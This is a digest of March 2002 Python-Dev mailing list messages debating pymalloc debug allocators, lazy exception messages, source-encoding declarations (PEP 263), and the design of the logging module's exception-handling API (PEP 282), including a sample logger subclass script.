In-Reply-To: <LNBBLJKPBEHFEDALKOLCKEFNOGAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCKEFNOGAA.tim.one@comcast.net>
Message-ID: <15514.8214.479922.201711@beluga.mojam.com>

    Tim> *Someone* has written a "lazy msg exception class" before in the
    Tim> core, and it may even have been me.  If it wasn't me, pipe up and
    Tim> give Skip a nudge in the right direction (OTOH, if it was me, maybe
    Tim> I'll remember tomorrow).

Anybody remember yet?

I poked around the code a bit.  Calling PyErr_Format has this effect:

    * create a string from the format and the args that follow
    * Call PyErr_SetObject to associate that string with the exception
    * PyErr_SetObject calls PyErr_Restore to update the exception info in
      the thread state

If the string formatting operation is the expensive step (and it looks like
it is), then a lazy exception formatter would simply stash the exception,
the format and a tuple of the args in the thread state and only do the
string formatting dance when someone calls sys.exc_info() or asks for the
value of sys.exc_value.  The only problem I see is that PyString_FromFormatV
doesn't operate on Python objects.  You'd need to make a pass through the
format string and the varargs list to generate the proper objects to put in
the args tuple.

Does that make sense?  Would substituting the current string formatting
operation with the tuple generation speed things up?

Skip



From andymac@bullseye.apana.org.au  Wed Mar 20 21:41:19 2002
From: andymac@bullseye.apana.org.au (Andrew MacIntyre)
Date: Thu, 21 Mar 2002 07:41:19 +1000 (est)
Subject: [Python-Dev] Re: Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCEAKOGAA.tim.one@comcast.net>
Message-ID: <Pine.OS2.4.32.0203210718450.1193-100000@tenring>

On Tue, 19 Mar 2002, Tim Peters wrote:

> [Andrew MacIntyre]

{...}

> [when redirecting all (I think) mallocs to go thru pymalloc]
> > test_longexp was the pathological case.

Yes, I was redirecting everything through pymalloc for those experiments

{...}

> I then further bashed obmalloc.c to call malloc/realloc/free directly.
> test_longexp sped up significantly then, taking about 3 seconds before this
> fiddling and about 2 seconds after.
>
> So best guess is that test_longexp + pymalloc-all-the-time tickles some
> pathology in your platform's malloc/realloc/free (or did).  Do you have a
> lot of RAM?  test_longexp is a memory hog regardless.

At the time, I had a K6-2/300 with 64MB of ram and 150MB of swap-file
space (40MB preallocated).  OS/2 allocates about 70MB.  On that system,
the most I could set REPS to was about 20,500 before the avalanche started
- If I'd had another 100-150MB free on the swapfile partition it probably
would have finished, as I had a report from a user with 256MB of ram that
the python process running the test grew to about 200MB.

pymalloc'ing the whole interpreter fixed test_longexp nicely, and I was
able to set REPS to 100,000 and have test_longexp run in a second or two
and not tickle swap.

The performance hit was only apparent when running the full test suite
with the exclusively pymalloc interpreter, which took about 60% longer
than running the test suite on a standard interpreter.  As I recall,
all bar one test (test_socket?) passed, so things were solid enough
(Python 2.1 time frame).

I'd be curious as to your results in timing the whole test suite with an
all-pymalloc interpreter vs the standard interpreter, if you've still
got the bits lying around.

At the very least, the parser is probably something to look at having use
pymalloc, as it seems to generate lots of small malloc requests.

Oh, I have 256MB and an Athlon 1.4 with lots of swap space now, so
test_longexp works just fine for me now...

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac@bullseye.apana.org.au  | Snail: PO Box 370
        andymac@pcug.org.au            |        Belconnen  ACT  2616
Web:    http://www.andymac.org/        |        Australia



From trentm@ActiveState.com  Thu Mar 21 18:40:48 2002
From: trentm@ActiveState.com (Trent Mick)
Date: Thu, 21 Mar 2002 10:40:48 -0800
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <3C99E00D.83C649D5@metaslash.com>; from neal@metaslash.com on Thu, Mar 21, 2002 at 08:28:45AM -0500
References: <20020320181307.B3444@ActiveState.com> <web-3791391@digicool.com> <20020321004605.D32590@ActiveState.com> <001f01c1d0c1$92d54340$652b6992@alpha> <3C99DC66.38BF6CE@metaslash.com> <00a901c1d0db$2d1a5440$652b6992@alpha> <3C99E00D.83C649D5@metaslash.com>
Message-ID: <20020321104048.B7763@ActiveState.com>

[Neal Norwitz wrote]
> Vinay Sajip wrote:
> > 
> > [Neal Norwitz]
> > > You could have the logging methods return an int/bool,
> > > 1 if succesfully logged, 0 on failure.  Let the caller
> > > decide what to do.  You could even return a failure
> > > object or None.  The failure object would contain
> > > (or be) the exception/problem.
> > This violates the principle that logging should be "set and forget". Having
> > the logger fail silently has, in past experience, caused fewer problems than
> > having to handle errors from the logging system - yet another headache for
> > the developer!
> 
> This is my point.  It will almost always be ignored...unless
> the caller really needs to know the information.  The logger
> will fail silently, only an object will be returned
> (no exception thrown) and the caller can safely ignore it.

You cannot necessarily know if there has been a problem with a logging call
by the time the logging call returns. That logging call could be
asynchronous.

Trent


-- 
Trent Mick
TrentM@ActiveState.com


From trentm@ActiveState.com  Thu Mar 21 18:42:04 2002
From: trentm@ActiveState.com (Trent Mick)
Date: Thu, 21 Mar 2002 10:42:04 -0800
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net>; from guido@python.org on Thu, Mar 21, 2002 at 08:09:23AM -0500
References: <20020320181307.B3444@ActiveState.com> <web-3791391@digicool.com> <20020321004605.D32590@ActiveState.com> <200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020321104204.C7763@ActiveState.com>

[Guido van Rossum wrote]
> > [Jeremy Hylton wrote]
> > > It seems quite plausible to decide to log an exception and
> > > then get another trivial exception raised and caught on the
> > > way to the logger.  You would still want to log the original
> > > exception, so passing it explicitly is helpful sometimes.
> 
> [Trent]
> > Yes, I suppose so.
> 
> I'd like to call YAGNI on this.  Also on the idea of being able to
> pass an exception to all logging levels.  Also on the idea of passing
> the exc_info in rather than having the logger call sys.exc_info().
> 
> Instead, the logger should be subclassable or extensible so that
> Jeremy can implement this functionality if he really wants it.
> 
> KISS.

Alrigtie.


Trent

-- 
Trent Mick
TrentM@ActiveState.com


From martin@v.loewis.de  Thu Mar 21 10:39:53 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 21 Mar 2002 11:39:53 +0100
Subject: [Python-Dev] Add sendfile() to core?
In-Reply-To: <20020321180916.A35872@fallin.lv>
References: <20020320195357.GA15076@ute.mems-exchange.org>
 <m3bsdjuek6.fsf@mira.informatik.hu-berlin.de>
 <20020321180916.A35872@fallin.lv>
Message-ID: <m3d6xyrypy.fsf@mira.informatik.hu-berlin.de>

Hye-Shik Chang <perky@fallin.lv> writes:

> I did some quick hack to use 'setproctitle' of sendmail.
> I think it is very useful for daemons to show their status.
> I'm sorry but, can you review this for posixmodule candidate, too?

posixmodule is for simple wrappers about operating system calls,
potentially also for library calls of the C library. This code is much
more complicated, so I don't think this should go into posixmodule.c.

Also, I think it is incorrect: the way it plays with the environment
breaks setenv/putenv, right?

Regards,
Martin


From tim.one@comcast.net  Thu Mar 21 19:45:32 2002
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 21 Mar 2002 14:45:32 -0500
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: <2msn6uysxe.fsf@starship.python.net>
Message-ID: <BIEJKCLHCIOIHAGOKOLHKECFCOAA.tim.one@comcast.net>

[Michael Hudson]
> ...
> Presuambly it would be possible to do this wrapped around malloc() &
> free() too?

Provided they were spelled PyMem_Malloc etc, sure.  The debug routines as
sketched don't make any secret assumptions about the underlying allocators
they call.

> No real point, I guess.

There may be an excellent point to it:  one of the pad bytes could be used
to record which "API family" a block of memory came from.  Then a
mismatching realloc/free could be caught directly at the time it happened.

>> + The Debug free first uses the address to find the number of bytes
>>   originally asked for, then checks the 8 bytes on each end for
>>   sanity (in particular, that the PYMALLOC_FORBIDDENBYTEs are still
>>   intact).
>>   XXX Make this checking a distinct entry point.

> Yes.  Particularly if you can call it from gdb.

Is something extraordinary required to make that possible?  I had in mind
nothing fancier than

extern void _PyMalloc_DebugCheckAddress(void* p);

> ...
> Is it worth having an option where you *don't* call _Free?

Not if I have to code it.

> ...
> What are you waiting for? <wink>

For endless silly objections to fade away <wink>.



From tim.one@comcast.net  Thu Mar 21 19:57:38 2002
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 21 Mar 2002 14:57:38 -0500
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: <m3k7s6v2s6.fsf@mira.informatik.hu-berlin.de>
Message-ID: <BIEJKCLHCIOIHAGOKOLHMECGCOAA.tim.one@comcast.net>

[martin@v.loewis.de]
> I thought that the malloc hooks in pymalloc where precisely introduced
> for this kind of debugging. Just put the VC malloc hooks into
> _PyCore_ObjectMalloc_SetHooks, and enjoy the features you had been
> using all the time.

I disapprove of #define'ing WITH_MALLOC_HOOKS:  it slows every entry point
whether you're using hooks or not.  I'd like to remove the hook subsystem.
At a conceptual level, I'm not interested in building or maintainng a
perfectly general framework -- all I want to do is get a good debug
allocator for Python.  If someone wants a different one, edit the friggin'
source code -- IMO the hook system is just another YAGNI from Python's POV
(although it may make sense for a standalone allocator).

I'm not particularly interested in calling the MS debug malloc/realloc/free
anyway:  when memory corruption is suspected in a release build, switching
to a radically different allocator is depressingly likely to make the
problem disappear (one reason I want to be able to use a debug pymalloc even
in a release build).



From jeremy@zope.com  Thu Mar 21 15:10:28 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Thu, 21 Mar 2002 10:10:28 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <20020321104204.C7763@ActiveState.com>
References: <20020320181307.B3444@ActiveState.com>
 <web-3791391@digicool.com>
 <20020321004605.D32590@ActiveState.com>
 <200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net>
 <20020321104204.C7763@ActiveState.com>
Message-ID: <15513.63460.96950.618541@slothrop.zope.com>

>>>>> "TM" == Trent Mick <trentm@ActiveState.com> writes:

  TM> [Guido van Rossum wrote]
  >> > [Jeremy Hylton wrote]
  >> > > It seems quite plausible to decide to log an exception and
  >> > > then get another trivial exception raised and caught on the
  >> > > way to the logger.  You would still want to log the original
  >> > > exception, so passing it explicitly is helpful sometimes.
  >>
  >> [Trent]
  >> > Yes, I suppose so.
  >>
  >> I'd like to call YAGNI on this.  Also on the idea of being able
  >> to pass an exception to all logging levels.  Also on the idea of
  >> passing the exc_info in rather than having the logger call
  >> sys.exc_info().
  >>
  >> Instead, the logger should be subclassable or extensible so that
  >> Jeremy can implement this functionality if he really wants it.

What's the point here?  I've presented use cases, and I maintain a
large body of ZODB/ZEO code that already uses these features.  So it
simply doesn't make sense to say "You Ain't Gonna Need It" because I
already need it and zLOG already has it.

The feature is simple to explain and implement, and seems to have low
implementation cost.  So I certainly think it meets the simplest thing
that could possibly work criteria.

Jeremy



From jeremy@zope.com  Thu Mar 21 15:14:08 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Thu, 21 Mar 2002 10:14:08 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <001f01c1d0c1$92d54340$652b6992@alpha>
References: <20020320181307.B3444@ActiveState.com>
 <web-3791391@digicool.com>
 <20020321004605.D32590@ActiveState.com>
 <001f01c1d0c1$92d54340$652b6992@alpha>
Message-ID: <15513.63680.8896.435008@slothrop.zope.com>

>>>>> "VS" == Vinay Sajip <vinay_sajip@red-dove.com> writes:

  VS> I like this. I prefer the name "exc_info" (rather than "exc")
  VS> for the key, as it is clearer that the result of sys.exc_info(),
  VS> or equivalent, is being passed. How about the following? The
  VS> kwargs is searched for "exc_info", and if found it is copied to
  VS> the LogRecord [and removed from kwargs]. The kwargs dict is then
  VS> bound to a "user_info" attribute of the LogRecord.

Why do you need **kwargs at all?  Can't the interface specify the
complete set of optional arguments explicitly?

Jeremy



From jeremy@zope.com  Thu Mar 21 15:16:11 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Thu, 21 Mar 2002 10:16:11 -0500
Subject: [Python-Dev] Re: API change in 2.2.1c1
In-Reply-To: <15513.62483.218999.747200@grendel.zope.com>
References: <web-3786338@digicool.com>
 <15513.62483.218999.747200@grendel.zope.com>
Message-ID: <15513.63803.165150.467420@slothrop.zope.com>

I don't recall being asked or proofreading it, although my
recollections have little to do with whether they're true.

Jeremy



From martin@v.loewis.de  Thu Mar 21 21:13:54 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 21 Mar 2002 22:13:54 +0100
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: <BIEJKCLHCIOIHAGOKOLHMECGCOAA.tim.one@comcast.net>
References: <BIEJKCLHCIOIHAGOKOLHMECGCOAA.tim.one@comcast.net>
Message-ID: <m3y9glpqst.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> I disapprove of #define'ing WITH_MALLOC_HOOKS:  it slows every entry point
> whether you're using hooks or not.  I'd like to remove the hook subsystem.

+0. Notice, however, that it is currently activated by default if
pymalloc is activated.

Regards,
Martin


From nas@python.ca  Thu Mar 21 21:36:34 2002
From: nas@python.ca (Neil Schemenauer)
Date: Thu, 21 Mar 2002 13:36:34 -0800
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: <BIEJKCLHCIOIHAGOKOLHMECGCOAA.tim.one@comcast.net>; from tim.one@comcast.net on Thu, Mar 21, 2002 at 02:57:38PM -0500
References: <m3k7s6v2s6.fsf@mira.informatik.hu-berlin.de> <BIEJKCLHCIOIHAGOKOLHMECGCOAA.tim.one@comcast.net>
Message-ID: <20020321133634.A8017@glacier.arctrix.com>

Tim Peters wrote:
> I disapprove of #define'ing WITH_MALLOC_HOOKS:  it slows every entry point
> whether you're using hooks or not.  I'd like to remove the hook subsystem.

+1.

  Neil


From Jack.Jansen@oratrix.com  Thu Mar 21 21:28:28 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Thu, 21 Mar 2002 22:28:28 +0100
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: <LCEPIIGDJPKCOIHOBJEPOEBJFFAA.mhammond@skippinet.com.au>
Message-ID: <95A65B36-3D12-11D6-98CE-003065517236@oratrix.com>

On donderdag, maart 21, 2002, at 09:12 , Mark Hammond wrote:

> Martin:
>> Tim Peters <tim.one@comcast.net> writes:
>>
>>> The thing I've dreaded most about switching to pymalloc is losing the
>>> invaluable memory-corruption clues supplied by the Microsoft 
>>> debug-build
>>> malloc.
>>
>> I thought that the malloc hooks in pymalloc where precisely introduced
>> for this kind of debugging. Just put the VC malloc hooks into
>> _PyCore_ObjectMalloc_SetHooks, and enjoy the features you had been
>> using all the time.
>
> I like the idea of pymalloc doing this itself.  It is not hard, and
> universally useful.

+1. MacPython still has Mac/mwerks/malloc as an optional private 
malloc (not used normally, it used to be much speedier than the 
platform malloc, but that one got better all the time) and it is 
almost identical in feature set to what Tim described.

Guido:
 > Rather than trying to mimic this in pymalloc, isn't it easier to have
 > a way to go back to the platform malloc?

It would be so nice if this were a standard feature. For 
instance, I never realized that Windows malloc could do all the 
tricks I've always used my private malloc for.

--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From tim.one@comcast.net  Thu Mar 21 22:33:33 2002
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 21 Mar 2002 17:33:33 -0500
Subject: FW: [Python-Dev] Patch 532638: Better AttributeError formatting
Message-ID: <BIEJKCLHCIOIHAGOKOLHAEDACOAA.tim.one@comcast.net>

Forwarded with permission.  I'm not sure why the thread died back then.

-----Original Message-----
From: Nick Mathewson [mailto:nickm@alum.mit.edu]
Sent: Thursday, March 21, 2002 4:53 PM
To: tim.one@comcast.net
Subject: Re: [Python-Dev] Patch 532638: Better AttributeError formatting


Hello, Tim!

I see on Python-dev that you've written:
> *Someone* has written a "lazy msg exception class" before in the core,
> and it may even have been me.  If it wasn't me, pipe up and give Skip a
> nudge in the right direction (OTOH, if it was me, maybe I'll remember
> tomorrow).

I wrote something similar during a case-sensitivity debate in May of 2000.

You can archived threads at:
     http://mail.python.org/pipermail/patches/2000-May/thread.html

Relevant threads are:
   "From comp.lang.python: A compromise on case-sensitivity"
   "Patch: AttributeError and NameError: second attempt"

IIRC, people eventually decided not to include these patches because (a)
cased-base warnings seemed not-worth-it, and (b) they used circular 
references, which Python could not at the time garbage-collect.

An interesting factoid: lazy exception messages seemed to increase
AttributeError performance by about 33%.

HTH,
-- 
Nick <nickm@alum.mit.edu>


From martin@v.loewis.de  Thu Mar 21 17:43:32 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 21 Mar 2002 18:43:32 +0100
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: <BIEJKCLHCIOIHAGOKOLHCEBDCOAA.tim@zope.com>
References: <BIEJKCLHCIOIHAGOKOLHCEBDCOAA.tim@zope.com>
Message-ID: <m3ofhhrf3v.fsf@mira.informatik.hu-berlin.de>

"Tim Peters" <tim@zope.com> writes:

> > Rather than trying to mimic this in pymalloc, isn't it easier to have
> > a way to go back to the platform malloc?
> 
> We have one already:  turn off pymalloc.  

Notice that this is possible both at compile time and at run-time; it
seems that you were thinking of the compile-time option, whereas Guido
was asking for the run-time option.

Regards,
Martin



From tim.one@comcast.net  Thu Mar 21 23:07:30 2002
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 21 Mar 2002 18:07:30 -0500
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: <m3ofhhrf3v.fsf@mira.informatik.hu-berlin.de>
Message-ID: <BIEJKCLHCIOIHAGOKOLHEEDDCOAA.tim.one@comcast.net>

[Guido]
>>> Rather than trying to mimic this in pymalloc, isn't it easier to have
>>> a way to go back to the platform malloc?

[Tim]
>> We have one already:  turn off pymalloc.

[Martin v. Loewis]
> Notice that this is possible both at compile time and at run-time; it
> seems that you were thinking of the compile-time option, whereas Guido
> was asking for the run-time option.

After some number of calls to, e.g., PyObject_New, you can't just switch
allocators in midstream, lest the eventual attempt to free the object hand
the address off to a different allocator than was used to obtain the memory.
Or maybe I have no idea what you're trying to say?



From vinay_sajip@red-dove.com  Thu Mar 21 23:39:51 2002
From: vinay_sajip@red-dove.com (Vinay Sajip)
Date: Thu, 21 Mar 2002 23:39:51 -0000
Subject: [Python-Dev] Re: PEP 282 comments
References: <20020320181307.B3444@ActiveState.com><web-3791391@digicool.com><20020321004605.D32590@ActiveState.com><200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net><20020321104204.C7763@ActiveState.com> <15513.63460.96950.618541@slothrop.zope.com>
Message-ID: <013101c1d131$b3feafa0$652b6992@alpha>

[Jeremy, in response to Guido's YAGNI]
> What's the point here?  I've presented use cases, and I maintain a
> large body of ZODB/ZEO code that already uses these features.  So it
> simply doesn't make sense to say "You Ain't Gonna Need It" because I
> already need it and zLOG already has it.

Okay, we can have our cake and eat it too. (You've gotta love Python.)
Suppose the current module interface stays as it is: debug(), info(),
warn(), error() and fatal() all take (self, msg, *args) as arguments.
exception() has the same arg list but, since it knows it's called in an
exception handling context, it passes sys.exc_info() along. Simple, clean
interface.

Here's log_test10.py, a working example script which shows how easy it is to
roll your own logger.
# -- log_test10.py ---------------------------
import sys
import locale

locale.setlocale(locale.LC_ALL, '')

from logging import *

LOG_FORMAT = "%(asctime)s %(level)-5s %(message)s"
DATE_FORMAT = "%x %X"

class MyLogger(Logger):
 """
 A simple example of a logger extension.
 """
 def debug(self, msg, *args):
  """
  This overridden method passes exception information for DEBUG level calls
  """
  if self.manager.disable >= DEBUG:
   return
  if DEBUG >= self.getChainedPriority():
   ei = sys.exc_info()
   if not ei[1]:
    ei = None
   self._log(DEBUG, msg, args, ei)
   del ei

def config():
 setLoggerClass(MyLogger)
 basicConfig()
 getRootLogger().handlers[0].setFormatter(Formatter(LOG_FORMAT,
DATE_FORMAT))

def run():
 logger = getLogger("mylogger")
 logger.info("Starting...")
 logger.debug("Debug message not in exception handler (no traceback)")
 logger.info("About to throw exception...")
 try:
  print "7" + 4
 except Exception, e:
  logger.debug("Debug message inside exception handler (traceback)")
 logger.info("Done.")
 shutdown()

if __name__ == "__main__":
 config()
 run()
#-- end of log_test10.py ---------------------------
When run, you get...
-- output -------------------------
21/03/02 23:33:04 INFO  Starting...
21/03/02 23:33:05 DEBUG Debug message not in exception handler (no
traceback)
21/03/02 23:33:05 INFO  About to throw exception...
21/03/02 23:33:05 DEBUG Debug message inside exception handler (traceback)
Traceback (innermost last):
  File "log_test10.py", line 45, in run
    print "7" + 4
TypeError: illegal argument type for built-in operation

21/03/02 23:33:05 INFO  Done.
-- output -------------------------

I rest my case (I hope...)

Regards

Vinay




From suzuki611@oki.com  Thu Mar 21 23:46:27 2002
From: suzuki611@oki.com (SUZUKI Hisao)
Date: Fri, 22 Mar 2002 08:46:27 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <m31yegxpwn.fsf@mira.informatik.hu-berlin.de>
 (martin@v.loewis.de)
Message-ID: <200203212346.IAA07485@suzuki611.ngo.okisoft.co.jp>

> > > And TextEdit cannot save as UTF-8?
> > 
> > It can.  But doing so suffers from "mojibake".
> 
> You mean, it won't read it back in properly? 

Yes, it won't.

> I expect that the localization patches that circulate now will
> continue to apply (perhaps with minimal modifications) after stage 1
> is implemented. If the patches are enhanced to do the "right thing"
> (i.e. properly take into consideration the declared encoding, to
> determine the end of a string), people won't notice the difference
> compared to a full stage 2 implementation.

You do not need localization patches anymore.  I have almost
written a sample implementation of "stage2" already.  It was so
hard that it took 2 days ;-).  I will post it to NetNews and
python.sf.net in a few days.  Yes, I will put it in the public
domain.

--
SUZUKI Hisao <suzuki@acm.org> <suzuki611@oki.com>


From guido@python.org  Fri Mar 22 00:33:10 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 21 Mar 2002 19:33:10 -0500
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: Your message of "Thu, 21 Mar 2002 18:07:30 EST."
 <BIEJKCLHCIOIHAGOKOLHEEDDCOAA.tim.one@comcast.net>
References: <BIEJKCLHCIOIHAGOKOLHEEDDCOAA.tim.one@comcast.net>
Message-ID: <200203220033.g2M0XA207314@pcp742651pcs.reston01.va.comcast.net>

> [Martin v. Loewis]
> > Notice that this is possible both at compile time and at run-time; it
> > seems that you were thinking of the compile-time option, whereas Guido
> > was asking for the run-time option.

No I wasn't.  Sorry for the misunderstanding.  I was just making sure
we'd still have --without-pymalloc.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From kbutler@campuspipeline.com  Thu Mar 21 23:52:19 2002
From: kbutler@campuspipeline.com (Kevin Butler)
Date: Thu, 21 Mar 2002 16:52:19 -0700
Subject: [Python-Dev] Re: PEP 282 comments
References: <E16oB9C-0000vn-00@mail.python.org>
Message-ID: <3C9A7233.2060600@campuspipeline.com>

[Guido van Rossum wrote]

> I'd like to call YAGNI on this.  Also on the idea of being able
> to pass an exception to all logging levels.  

I'd like to "Not Need It" as well, but the code I've written
using log4j and the code I've written & maintained with a couple of other
logging systems have needed it.

The problem is that without easy "log exception at specific level",
the natural way to write code is:

try:
  something()
except Failure:
  log.exception( "couldn't do something" )
  # proceed with defaults

That log statement is useful in debugging or maybe as a warning,
but is definitely not an ERROR, because the computer has a
valid way to continue the operation.

[Guido]
> Also on the idea of passing the exc_info in rather than 
> having the logger call sys.exc_info().

The implicit sys.exc_info() is definitely the more common case.
However, I often try something else in case of a failure, but 
if that retry fails, I want to log the original failure, not 
subsequent failures in the retry.

try:
  something()
except SomethingBroke:
  failure = sys.exc_info() # could log here, but only as debug
  try:
     recover()
  except RecoveryFailed:
     log.error( 
        "Something broke and I couldn't recover", 
        exc=failure  # not sys.exc_info()
        )

[Jeremy Hilton wrote:]
> The feature is simple to explain and implement, and seems to have low
> implementation cost.  So I certainly think it meets the simplest thing
> that could possibly work criteria.

+1

And it promotes "there's one obvious way to do it".
And it is consistent with existing de facto standard systems.

[Jeremy]
> Why do you need **kwargs at all?  

So we can postpone formatting the optional arguments into a message
until after we test if we're going to log the message or not.

[Jeremy]
> Can't the interface specify the
> complete set of optional arguments explicitly?

Explicitly-specified keyword arguments are awkward
with *args.

class Log:
  def info1( self, msg, exc=None, *args ):
    ...
  def info2( self, msg, *args, **kwargs ):
    ...


log.info1( "When %s %s", None, "pigs", "fly" )
log.info1( "When %s %s", failure, "pigs", "fly" )

log.info2( "When %s %s", "pigs", "fly" )
log.info2( "When %s %s", "pigs", "fly", exc=failure )

kb




From trentm@ActiveState.com  Fri Mar 22 03:16:49 2002
From: trentm@ActiveState.com (Trent Mick)
Date: Thu, 21 Mar 2002 19:16:49 -0800
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <15513.63680.8896.435008@slothrop.zope.com>; from jeremy@zope.com on Thu, Mar 21, 2002 at 10:14:08AM -0500
References: <20020320181307.B3444@ActiveState.com> <web-3791391@digicool.com> <20020321004605.D32590@ActiveState.com> <001f01c1d0c1$92d54340$652b6992@alpha> <15513.63680.8896.435008@slothrop.zope.com>
Message-ID: <20020321191649.A26767@ActiveState.com>

[Jeremy Hylton wrote]
> >>>>> "VS" == Vinay Sajip <vinay_sajip@red-dove.com> writes:
> 
>   VS> I like this. I prefer the name "exc_info" (rather than "exc")
>   VS> for the key, as it is clearer that the result of sys.exc_info(),
>   VS> or equivalent, is being passed. How about the following? The
>   VS> kwargs is searched for "exc_info", and if found it is copied to
>   VS> the LogRecord [and removed from kwargs]. The kwargs dict is then
>   VS> bound to a "user_info" attribute of the LogRecord.
> 
> Why do you need **kwargs at all?  Can't the interface specify the
> complete set of optional arguments explicitly?

If, as I said, we want to keep the '*args' argument, how do we explicitly
specify an 'exc_info' argument?

    def info(self, msg, *args, exc_info=None):
                                      ^------- SyntaxError

Trent


-- 
Trent Mick
TrentM@ActiveState.com


From trentm@ActiveState.com  Fri Mar 22 03:26:42 2002
From: trentm@ActiveState.com (Trent Mick)
Date: Thu, 21 Mar 2002 19:26:42 -0800
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <3C9A7233.2060600@campuspipeline.com>; from kbutler@campuspipeline.com on Thu, Mar 21, 2002 at 04:52:19PM -0700
References: <E16oB9C-0000vn-00@mail.python.org> <3C9A7233.2060600@campuspipeline.com>
Message-ID: <20020321192642.B26767@ActiveState.com>

Kevin, which side are you advocating here?
Definitions:
    'AGAINST' means to NOT provide the ability to log exceptions at levels
        other than ERROR
    'FOR' means that that functionality SHOULD be provided.

First you say:

[Kevin Butler wrote]
> [Guido van Rossum wrote]
> > I'd like to call YAGNI on this.  Also on the idea of being able
> > to pass an exception to all logging levels.  
> 
> I'd like to "Not Need It" as well, but the code I've written
> using log4j and the code I've written & maintained with a couple of other
> logging systems have needed it.

which implies that you are AGAINST.

Then:

> That log statement is useful in debugging or maybe as a warning,
> but is definitely not an ERROR, because the computer has a
> valid way to continue the operation.

which implies you are FOR it.


Then:

> [Jeremy Hilton wrote:]
> > The feature is simple to explain and implement, and seems to have low
> > implementation cost.  So I certainly think it meets the simplest thing
> > that could possibly work criteria.
> 
> +1
> 

which implies again that you are FOR it.

> And it promotes "there's one obvious way to do it".
> And it is consistent with existing de facto standard systems.

which I am not sure if that implies you are FOR it or confused over which
side Jeremy is supporting.


Confused-ly yours, :)
Trent


-- 
Trent Mick
TrentM@ActiveState.com


From trentm@ActiveState.com  Fri Mar 22 03:37:47 2002
From: trentm@ActiveState.com (Trent Mick)
Date: Thu, 21 Mar 2002 19:37:47 -0800
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <15513.63460.96950.618541@slothrop.zope.com>; from jeremy@zope.com on Thu, Mar 21, 2002 at 10:10:28AM -0500
References: <20020320181307.B3444@ActiveState.com> <web-3791391@digicool.com> <20020321004605.D32590@ActiveState.com> <200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net> <20020321104204.C7763@ActiveState.com> <15513.63460.96950.618541@slothrop.zope.com>
Message-ID: <20020321193747.C26767@ActiveState.com>

So the decision is between the simpler:

    class Logger:
        def info(self, msg, *args): ...
            
        def exception(self, msg, *args):
            """Log sys.exc_info() at the ERROR level"""

and the slightly more complex:

    class Logger:
        def info(self, msg, *args, **kwargs):
            """Use kwargs["exc_info"] to log an exception at this level."""

        def exception(self, msg, *args, **kwargs):
            """Optionally pass in kwargs["exc_info"] otherwise sys.exc_info()
            is called to log exception information at the ERROR level."""


The argument for the latter is that is adds the capability of:
    (1) Logging an exception at a level other than ERROR (for which Jeremy
        maintains there is a string use case and for which Kevin Butler gives
        a simpler use case); and
    (2) Optionally explicitly passing in exc_info, that may differ from
        sys.exc_info().

    
The argument for the former is:
    (1) KISS and YAGNI
    (2) You should just be able to subclass Logger and add the functionality
        you want. This is only a string point if the given use cases are not
        at all common.
    (3) If you want to pass in exc_info other than sys.exc_info() then
        format it yourself or subclass Logger.

Thoughts?


Trent

-- 
Trent Mick
TrentM@ActiveState.com


From stephen@xemacs.org  Fri Mar 22 04:26:47 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 22 Mar 2002 13:26:47 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese
In-Reply-To: <200203211323.g2LDNdQ06924@pcp742651pcs.reston01.va.comcast.net>
References: <Pine.LNX.4.21.0203172109580.657-100000@familjen.svensson.org>
 <87u1reji0b.fsf@tleepslib.sk.tsukuba.ac.jp>
 <m3663tho4v.fsf@mira.informatik.hu-berlin.de>
 <87d6xzj549.fsf@tleepslib.sk.tsukuba.ac.jp>
 <012801c1d020$19da91d0$ced241d5@hagrid>
 <87it7qfpcw.fsf@tleepslib.sk.tsukuba.ac.jp>
 <005801c1d0cf$533c8f50$0900a8c0@spiff>
 <200203211323.g2LDNdQ06924@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <87bsdhdy7s.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "Guido" =3D=3D Guido van Rossum <guido@python.org> writes:

